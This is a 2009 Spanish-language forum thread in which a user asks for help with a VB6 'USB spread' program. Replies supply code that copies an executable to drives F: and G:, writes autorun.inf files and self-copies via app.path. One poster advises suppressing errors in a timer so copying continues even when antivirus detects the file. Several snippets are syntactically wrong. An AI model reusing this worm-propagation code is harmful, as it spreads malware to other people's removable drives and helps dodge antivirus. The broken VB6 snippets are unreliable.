Página 1 de 1

AYUDA VB6 FILECOPY

Publicado: 16 May 2009, 02:46
por AdRi4N
Buenoo... pues.. sty trabajndo en un spread usb pero manual, es decir yo activo el exe de cuando copiarse, y utilizo el filecopy, copio los archivos a todas las unidades (menos a las mias xD) y el problema es ke, cuando no encuentra una ruta da el error (cosa ke veo normal) pero lo que kiero es ke pase del error y siga con la siguiente unidad, y si no hay, ke valla a la suigiente... ¿me entendeis?...
pues.. solo pido ayuda sobre esto, creo ke es muy facil, pero yo no se nada de vb...
GRACIAS

Re: AYUDA VB6 FILECOPY

Publicado: 16 May 2009, 03:06
por Snopk
asi es la idea :
on error (si hay error) goto (ir a) siguiente(línea especificada debe estar en el mismo procedimiento que la instrucción On Error)

Código: Seleccionar todo

On Error GoTo siguiente
 filecopy "c:/blabla.exe" ," f:/blabla.exe "
 
siguiente:
 filecopy "c:/blabla.exe" ," g:/blabla.exe "

que mal explico
saludos

Re: AYUDA VB6 FILECOPY

Publicado: 16 May 2009, 04:40
por K-0Z
al-hacker escribió:asi es la idea :
on error (si hay error) goto (ir a) siguiente(línea especificada debe estar en el mismo procedimiento que la instrucción On Error)

Código: Seleccionar todo

On Error GoTo siguiente
 filecopy "c:/blabla.exe" ," f:/blabla.exe "
 
siguiente:
 filecopy "c:/blabla.exe" ," g:/blabla.exe "

que mal explico
saludos

esto no quedaria bien, supongamos que hay mas lineas abajo de copiarse, como crear el autorun.inf

Código: Seleccionar todo

On Error GoTo siguiente
 filecopy "c:/blabla.exe" ," f:/blabla.exe "
Dim canalLibre As Integer
canalLibre = FreeFile
 Open "f:\autorun.inf" For Output As #canalLibre
Print #canalLibre,autorun
Close #canalLibre

siguiente:
 filecopy "c:/blabla.exe" ," g:/blabla.exe "

la etiqueta de error lo tomas como si la unidad no estuviera, pero no nada mas puede probocar un error si no existe la unidad, por ejemplo que el archivo a copiarse primero sea detectado por el antivirus o que este siendo utilizado, no pasaria a la segunda cadena si no al siguiente copiador, para esto es mejor usar un timer y usar el resumidor de errores

Código: Seleccionar todo

Private Sub spread_Timer()
on error resume next
 filecopy "c:/blabla.exe" ," f:/blabla.exe "
Dim canalLibre As Integer
canalLibre = FreeFile
 Open "f:\autorun.inf" For Output As #canalLibre
Print #canalLibre,autorun
Close #canalLibre
 filecopy "c:/blabla.exe" ," g:/blabla.exe "
 Open "g:\autorun.inf" For Output As #canalLibre
Print #canalLibre,autorun
Close #canalLibre
....
end sub
de esta forma seguiria el codec aunque sucederia un error, seguiria con la accion siguiente, espero y te haya ayudado , salu2

Re: AYUDA VB6 FILECOPY

Publicado: 16 May 2009, 13:46
por AdRi4N
Creo que soy un catetooo No entiendo ningunoo... pero gracias !!!
PD:el autorun.inf ya esta escrito, es solo copiarlo.

Re: AYUDA VB6 FILECOPY

Publicado: 16 May 2009, 13:56
por Xpro
AdRpsp escribió:Creo que soy un catetooo No entiendo ningunoo... pero gracias !!!
PD:el autorun.inf ya esta escrito, es solo copiarlo.

Copiar un archivo, ( así mismo )

Filecopy app.path & "\", app.paht "archivo final.exe"


Eso hace que se autocopie con otro nombre.

Ahora , que se copie ah otro lugar:

Filecopy app.path & "\" & app.exename & ".exe", C:\archivo.exe

( creo que era así ) eso hace que te autocopies a C:\archivo.exe

Re: AYUDA VB6 FILECOPY

Publicado: 16 May 2009, 14:52
por AdRi4N
No es autocopiado, es copiado solo xD y el problema es los errores, los que salen si no encuentran la unidad de destino

Re: AYUDA VB6 FILECOPY

Publicado: 16 May 2009, 16:26
por Xpro
ok:


If C:\ = "" Then
MsgBox " La unidad existe "
Else
Goto Error next siguiente
End if
siguiente:
If F:\ = "" Then
Msgbox " la unidaad existe"
Else
Goto Error next siguiente2
Siguiente2:



y así sucesivamente..

Re: AYUDA VB6 FILECOPY

Publicado: 16 May 2009, 16:34
por shark0
xpro escribió:ok:


If C:\ = "" Then
MsgBox " La unidad existe "
Else
Goto Error next siguiente
End if
siguiente:
If F:\ = "" Then
Msgbox " la unidaad existe"
Else
Goto Error next siguiente2
Siguiente2:



y así sucesivamente..
Eso está mal, seria algo asi :

If Dir("C:\",vbDirectory) <> "" Then
MsgBox " La unidad existe "
Else
Goto Error next Siguiente
End if

Siguiente:

If Dir("F:\",vbDirectory) <> "" Then
Msgbox " la unidaad existe"
Else

Goto Error next Siguiente2
Siguiente2:

Saludos!

Re: AYUDA VB6 FILECOPY

Publicado: 16 May 2009, 16:39
por Xpro
si señor , es cierto.

Re: AYUDA VB6 FILECOPY

Publicado: 18 May 2009, 04:45
por tercer_ojo
Google:

Código: Seleccionar todo

On Error Resume Next
Y sanlegas es el que más se arrimó a la solución al proponer FreeFile...